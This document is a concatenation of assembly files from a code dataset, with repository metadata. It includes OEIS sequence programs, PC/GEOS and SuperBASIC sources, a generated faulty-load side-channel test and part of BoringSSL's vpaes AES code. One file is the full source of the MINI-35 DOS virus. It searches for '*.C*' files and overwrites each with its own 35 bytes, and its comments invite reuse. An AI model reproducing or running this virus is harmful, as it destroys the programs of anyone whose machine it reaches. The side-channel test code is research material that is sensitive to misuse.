xor ecx, ecx ;Initialize ecx to NULL
jmp _goback ;Go back to the real code | 33.519481 | 100 | 0.563735 |
411e46a76c917d429e654a4243201729bf1023dc | 895 | asm | Assembly | Library/User/Gen/genActive.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/User/Gen/genActive.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/User/Gen/genActive.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: UserInterface/Gen
FILE: genActive.asm
ROUTINES:
Name Description
---- -----------
GLB GenActiveListClass ActiveList class - subclassed by Generic objects
who might be (or whose children might be) listed
on an active list, so that they will be
preserved during system shut-down.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Eric 11/89 More doc, added ADD_DATA_TO
DESCRIPTION:
This file contains routines to implement the GenActiveList class.
$Id: genActive.asm,v 1.1 97/04/07 11:45:09 newdeal Exp $
------------------------------------------------------------------------------@
;GenActiveListClass is no more - brianc 6/19/92
| 29.833333 | 80 | 0.567598 |
4a7969c7872cc324d28ee247522165992e476c51 | 647 | asm | Assembly | oeis/011/A011826.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/011/A011826.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/011/A011826.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A011826: f-vectors for simplicial complexes of dimension at most 1 (graphs) on at most n-1 vertices.
; 2,3,5,9,16,27,43,65,94,131,177,233,300,379,471,577,698,835,989,1161,1352,1563,1795,2049,2326,2627,2953,3305,3684,4091,4527,4993,5490,6019,6581,7177,7808,8475,9179,9921,10702,11523,12385,13289,14236,15227,16263,17345,18474,19651,20877,22153,23480,24859,26291,27777,29318,30915,32569,34281,36052,37883,39775,41729,43746,45827,47973,50185,52464,54811,57227,59713,62270,64899,67601,70377,73228,76155,79159,82241,85402,88643,91965,95369,98856,102427,106083,109825,113654,117571,121577,125673,129860
mov $1,$0
add $1,1
bin $1,3
add $0,$1
add $0,2
| 71.888889 | 495 | 0.780526 |
d65e8df3437affadff51effbe26321c84b4ec434 | 2,356 | asm | Assembly | programs/oeis/016/A016810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/016/A016810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/016/A016810.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A016810: (4n)^10.
; 0,1048576,1073741824,61917364224,1099511627776,10240000000000,63403380965376,296196766695424,1125899906842624,3656158440062976,10485760000000000,27197360938418176,64925062108545024,144555105949057024,303305489096114176,604661760000000000,1152921504606846976,2113922820157210624,3743906242624487424,6428888932339941376,10737418240000000000,17490122876598091776,27850097600940212224,43438845422363213824,66483263599150104576,100000000000000000000,148024428491834392576,215892499727278669824,310584820834420916224,441143507864991563776,619173642240000000000,859442550649180389376,1180591620717411303424,1605976966052654874624,2164656967840983678976,2892546549760000000000,3833759992447475122176,5042166166892418433024,6583182266716099969024,8535834451185868210176,10995116277760000000000,14074678408802364030976,17909885825636445978624,22661281678134344679424,28518499943362777317376,35704672266240000000000,44481377712499930955776,55154187683317729460224,68078861925529707085824,83668255425284801560576,102400000000000000000000,124825028607463130136576,151577014775638417997824,183382804125988210868224,221073919720733357899776,265599227914240000000000,318038856534447018213376,379619462565741198311424,451730952053751361306624,535944760708973357694976,634033809653760000000000,747994256939818786226176,880069171864760718721024,1032774265740240721281024,1208925819614629174706176,1411670956533760000000000,1644520413237918591614976,1911383973745667813146624,2216608735069167287271424,2565020383345125413093376,2961967666954240000000000,3413370261743737190219776,3925770232266214525108224,4506387302007237665357824,5163178154897836475416576,5904900000000000000000000,6741178641117286368280576,7682581303222547931725824,8740694478014329047220224,9928207061616528930635776,11258999068426240000000000,12748236216396078174437376,14412470690613620767719424,16269748403915564986138624,18339723085451720682110976,20643777540597760000000000,23205152438409568951730176,26049082995919886849409024,29202943942003483972993024,32696403157284220935602176,36561584400629760000000000,40833239547181264169598976,45548930777599929298714624,50749223173283452812263424,56477888187717354967269376,62782118479882240000000000,69712754611742420055883776,77324524128297629567156224,85676293555491636798029824,94831333868443217691672576
pow $0,10
mul $0,1048576
| 392.666667 | 2,309 | 0.949066 |
3f3756f1ef913d2fbeee7a7537b14cc94ea17b39 | 60 | asm | Assembly | src/main/fragment/mos6502-common/vwum1=vwum2_bxor_vwum3.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vwum1=vwum2_bxor_vwum3.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vwum1=vwum2_bxor_vwum3.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {m2}
eor {m3}
sta {m1}
lda {m2}+1
eor {m3}+1
sta {m1}+1
| 8.571429 | 10 | 0.55 |
5a3112dcc789e97b888506fb70d5bf0d144ee076 | 422 | asm | Assembly | programs/oeis/201/A201812.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/201/A201812.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/201/A201812.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A201812: Number of arrays of 4 integers in -n..n with sum zero and equal numbers of elements greater than zero and less than zero.
; 19,61,151,313,571,949,1471,2161,3043,4141,5479,7081,8971,11173,13711,16609,19891,23581,27703,32281,37339,42901,48991,55633,62851,70669,79111,88201,97963,108421,119599,131521,144211,157693,171991,187129,203131
mov $1,$0
add $1,1
pow $1,3
mul $1,4
add $1,15
mov $2,$0
mul $2,14
add $1,$2
| 35.166667 | 210 | 0.748815 |
e060561a9c61c126d69ce62ec9194f14d1291c84 | 887 | asm | Assembly | programs/oeis/120/A120741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/120/A120741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/120/A120741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A120741: a(n) = (7^n - 1)/2.
; 0,3,24,171,1200,8403,58824,411771,2882400,20176803,141237624,988663371,6920643600,48444505203,339111536424,2373780754971,16616465284800,116315256993603,814206798955224,5699447592686571,39896133148806000,279272932041642003,1954910524291494024,13684373670040458171,95790615690283207200,670534309831982450403,4693740168823877152824,32856181181767140069771,229993268272369980488400,1609952877906589863418803,11269670145346129043931624,78887691017422903307521371,552213837121960323152649600,3865496859853722262068547203,27058478018976055834479830424,189409346132832390841358812971,1325865422929826735889511690800,9281057960508787151226581835603,64967405723561510058586072849224,454771840064930570410102509944571,3183402880454513992870717569612000,22283820163181597950095022987284003,155986741142271185650665160910988024
mov $1,7
pow $1,$0
div $1,2
mov $0,$1
| 110.875 | 816 | 0.907554 |
59b039019846085078395e8a704d35e562a95688 | 577 | asm | Assembly | ffight/lcs/1p/9C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | ffight/lcs/1p/9C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | ffight/lcs/1p/9C.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
00A2C6 dbra D0, $a2c0
00A382 dbra D0, $a37c
00DC5C move.w #$32, ($1e,A6) [1p+9C]
00DCA2 bra $c534 [1p+9C]
00DD7C move.b #$6, ($3,A6) [1p+9C]
00DE66 bra $c552 [1p+9C]
00DED4 move.l ($a,A6), ($e,A6) [1p+9C]
00E000 bra $c534 [1p+9C]
00E040 bra $c534 [1p+9C]
00EE0A rts [1p+9C]
00EE1E move.b #$4, ($4,A6) [1p+9C]
00EF68 bra $c534 [1p+9C]
00EFCC rts [1p+9C]
00EFE0 move.b #$4, ($4,A6) [1p+9C]
00F430 bmi $f43a [1p+9C]
copyright zengfr site:http://github.com/zengfr/romhack
| 28.85 | 54 | 0.604853 |
523bca878ef33cb0afcfd988deada5fc67877feb | 644 | asm | Assembly | oeis/015/A015596.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/015/A015596.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/015/A015596.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A015596: a(n) = 11 a(n-1) + 4 a(n-2).
; Submitted by Jon Maiga
; 0,1,11,125,1419,16109,182875,2076061,23568171,267554125,3037368059,34481265149,391443388875,4443802338221,50447599275931,572698801388125,6501477212373099,73807044541656589,837883398807714875,9511945565051489981,107982934810797249291,1225860065178975702125,13916392456211921720539,157983757279047041734429,1793486899894365145960875,20360290927954204772507341,231137147807073713081424251,2623949789589627662985696125,29787996276714199145168354379,338163758202214701248794682669
mov $1,1
lpb $0
sub $0,1
mov $3,$1
mov $1,$2
mul $1,4
mul $2,11
add $2,$3
lpe
mov $0,$2
| 42.933333 | 477 | 0.824534 |
904a7c3413ee9a670ec5bd633c6e1bc7e6d65a2a | 1,535 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.mini-35.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.mini-35.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.mini-35.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ; MINI-35 is Copyright (C) by Line Noise 1992...
; You are allowed to use this code in your own
; programs if you want, you are allowed to
; give this source away, sell it or whatever...
; None of the members of Line Noise should be held
; responsible for the consequences of the use
; of this program....
; Use this program at your own risk...
; Iow if you use this code, you agree with the above...
; The MINI-35 is based upon the MINI-45 from bulgaria(?).
; If anybody manages to shrink the code even more then
; leave me(Dark Wolf) a message at your nearest Virus BBS...
;
; Greetings from Dark Wolf/Line Noise
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
MINI PROC
START:
MOV AH,4Eh
MOV DX,OFFSET FMATCH ;address to file match
INT 21h ;DOS int, ah=function 4Eh
;find 1st filenam match@DS:DX
MOV AX,3D02h ;02=for read & write...
MOV DX,9Eh ;address to filename...
INT 21h ;DOS Services ah=function 3Dh
;open file, AL=mode,name@DS:DX
XCHG AX,BX ;BX = handle now
MOV DX,100h
MOV AH,40h ;Function 40h, write file
MOV CL,35 ;number of bytes to write
INT 21h ;CX=bytes, to DS:DX
;BX=file handle
MOV AH,3Eh ;function 3Eh, close file
INT 21h ;BX=file handle
RETN
FMATCH: DB '*.C*',0 ;The virus didn't want to
;work when I changed this
;to *.* or *...
;WHY NOT?! Anybody gotta
;hint on this?!
MINI ENDP
SEG_A ENDS
END START
| 26.016949 | 61 | 0.632573 |
759dc6cddfabd3164e26f853421179d0cc044b60 | 8,109 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_796.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_796.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_796.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xbbe2, %rsi
lea addresses_WC_ht+0xf222, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub $21596, %rax
mov $33, %rcx
rep movsl
sub $41739, %r9
lea addresses_A_ht+0x3be2, %r14
nop
dec %rcx
mov (%r14), %esi
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x14830, %rsi
lea addresses_normal_ht+0x27e2, %rdi
xor $20863, %r12
mov $75, %rcx
rep movsw
and %rdi, %rdi
lea addresses_WC_ht+0x19be2, %rsi
nop
nop
nop
and %r14, %r14
movb (%rsi), %r12b
nop
nop
nop
nop
dec %rcx
lea addresses_WC_ht+0x17ec2, %r14
nop
nop
nop
nop
nop
and %rsi, %rsi
movl $0x61626364, (%r14)
nop
add %rax, %rax
lea addresses_UC_ht+0xbf0b, %rcx
nop
nop
nop
nop
nop
dec %rdi
movw $0x6162, (%rcx)
xor $63530, %rax
lea addresses_WC_ht+0xa302, %r14
nop
nop
nop
nop
nop
inc %r12
movb (%r14), %al
nop
nop
nop
nop
add $50732, %rdi
lea addresses_WT_ht+0x4be2, %rsi
lea addresses_WT_ht+0x15862, %rdi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $44, %rcx
rep movsb
sub $8235, %rax
lea addresses_normal_ht+0xefe, %rcx
cmp %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
vmovups %ymm3, (%rcx)
dec %r9
lea addresses_WT_ht+0x50ca, %r9
nop
nop
nop
add $54826, %r14
movl $0x61626364, (%r9)
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0x1cba2, %rdi
nop
and $26996, %rcx
movl $0x61626364, (%rdi)
nop
xor %rdi, %rdi
lea addresses_WT_ht+0x4356, %r15
nop
nop
nop
nop
cmp %rcx, %rcx
movl $0x61626364, (%r15)
nop
nop
dec %r15
lea addresses_UC_ht+0xe4e2, %rsi
lea addresses_WT_ht+0x3182, %rdi
nop
nop
nop
nop
sub %r14, %r14
mov $120, %rcx
rep movsw
nop
nop
nop
cmp $42200, %r12
lea addresses_WT_ht+0x183e2, %rsi
nop
nop
nop
nop
nop
cmp $30026, %rdi
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
and $27578, %r9
lea addresses_A_ht+0x7be9, %rcx
nop
nop
nop
and %r9, %r9
mov (%rcx), %r14
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rbx
push %rdi
push %rsi
// Store
lea addresses_A+0xfee2, %rdi
nop
nop
nop
and %r9, %r9
movb $0x51, (%rdi)
nop
nop
xor %r15, %r15
// Store
lea addresses_RW+0xdc70, %r12
clflush (%r12)
nop
nop
cmp $59969, %rsi
movb $0x51, (%r12)
add %r15, %r15
// Faulty Load
lea addresses_WC+0x83e2, %rsi
clflush (%rsi)
nop
and $54869, %r9
movb (%rsi), %r12b
lea oracles, %rbx
and $0xff, %r12
shlq $12, %r12
mov (%rbx,%r12,1), %r12
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.37037 | 2,999 | 0.654088 |
3b571e893c4e269037c3eceda66ffa1816efd92a | 2,493 | asm | Assembly | sbsext/ext/pars.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sbsext/ext/pars.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sbsext/ext/pars.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | * Type of parameters V1.0 1985 Tony Tebby QJUMP
* 2003-09-28 1.01 parnam$ checks for correct version (wl)
* PARTYP (name) return the type of the variable
* PARUSE (name) and its usage
* PARNAM$ (number) returns the name of the actual parameter
* PARSTR$ (parm,number) returns the string value or the name
*
section exten
*
xdef partyp
xdef paruse
xdef parnam$
xdef parstr$
*
xref ut_par1 check for just one parameter
xref ut_par2 check for two parameters
xref ut_gxin1 get exactly one integer
xref ut_gtst1 get string
xref ut_gnmpt get name from nt onto RI stack
xref ut_rtint return integer d1
xref ut_rtstr return string (a4)
xref ut_retst return string on RI stack
xref zero_w zero word
*
include dev8_sbsext_ext_keys
*
partyp
moveq #1,d7 type is one byte on from a3
bra.s par_common
paruse
moveq #0,d7 usage is at a3
par_common
bsr.l ut_par1 just one parameter
*
add.l d7,a3 get appropriate byte
moveq #$f,d1 (only the 4 lsbits)
and.b (a6,a3.l),d1 on arithmetic stack
bra.l ut_rtint and return (no error)
*
* parameter name / value
*
parstr$
bsr.l ut_par2 check for two parameters
moveq #$f,d0
and.b 1(a6,a3.l),d0 get first parameter type
subq.b #1,d0 is it string?
bne.s pars_nm8 ... no
*
move.w (a6,a3.l),d7 save type
bsr.l ut_gtst1 and get a string
move.w d7,(a6,a3.l) restore type
tst.l d0 OK?
bra.s pars_str return string or null
*
pars_nm8
addq.l #8,a3 skip first parameter
parnam$
bsr.l ut_gxin1 get exactly one integer
bne.s pars_rts ... oops
addq.l #2,bv_rip(a6) reset RI stack
move.w (a6,a1.l),d3 set parameter pointer
ble.s pars_bp ... 0 or negative!!!
subq.w #1,d3 starting from one
lsl.w #3,d3 indexing the name table
*
move.l bv_rtp(a6),a2 get return table pointer
cmp.l bv_rtbas(a6),a2 any entries?
ble.s pars_bp ... no
tst.b rt_type(a6,a2.l) is top entry a proc or fun?
beq.s pars_bp ... no
move.l rt_parm(a6,a2.l),a3 get pointer to parameters
add.w d3,a3 and pointer to the parameter we need
cmp.l rt_local(a6,a2.l),a3 within range?
bge.s pars_null
moveq #mt.inf,d0 check version
trap #1
sub.l #'1.04',d2 1.04? *** v. 1.01
blt.s pars_gnam ... no, early version, pointer rel a6
add.l bv_ntbas(a6),a3 set pointer to table
pars_gnam
bsr.l ut_gnmpt get name from name table
pars_str
beq.l ut_retst ... good, return a string
pars_null
lea zero_w(pc),a4 ... bad, return null
bra.l ut_rtstr
*
pars_bp
moveq #err.bp,d0
pars_rts
rts
end
| 26.521277 | 61 | 0.703971 |
9f1787e6419169d2a76c30c03097c8da60829e52 | 10,271 | asm | Assembly | third_party/rust_crates/vendor/ring/pregenerated/tmp/vpaes-x86_64-nasm.asm | zhangpf/fuchsia-rs | 903568f28ddf45f09157ead36d61b50322c9cf49 | [
"BSD-3-Clause"
] | 1 | 2019-04-21T18:02:26.000Z | 2019-04-21T18:02:26.000Z | third_party/rust_crates/vendor/ring/pregenerated/tmp/vpaes-x86_64-nasm.asm | zhangpf/fuchsia-rs | 903568f28ddf45f09157ead36d61b50322c9cf49 | [
"BSD-3-Clause"
] | 16 | 2020-09-04T19:01:11.000Z | 2021-05-28T03:23:09.000Z | third_party/rust_crates/vendor/ring/pregenerated/tmp/vpaes-x86_64-nasm.asm | ZVNexus/fuchsia | c5610ad15208208c98693618a79c705af935270c | [
"BSD-3-Clause"
] | null | null | null | ; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
ALIGN 16
_vpaes_encrypt_core:
mov r9,rdx
mov r11,16
mov eax,DWORD[240+rdx]
movdqa xmm1,xmm9
movdqa xmm2,XMMWORD[$L$k_ipt]
pandn xmm1,xmm0
movdqu xmm5,XMMWORD[r9]
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,208
movdqa xmm0,XMMWORD[(($L$k_ipt+16))]
DB 102,15,56,0,193
pxor xmm2,xmm5
add r9,16
pxor xmm0,xmm2
lea r10,[$L$k_mc_backward]
jmp NEAR $L$enc_entry
ALIGN 16
$L$enc_loop:
movdqa xmm4,xmm13
movdqa xmm0,xmm12
DB 102,15,56,0,226
DB 102,15,56,0,195
pxor xmm4,xmm5
movdqa xmm5,xmm15
pxor xmm0,xmm4
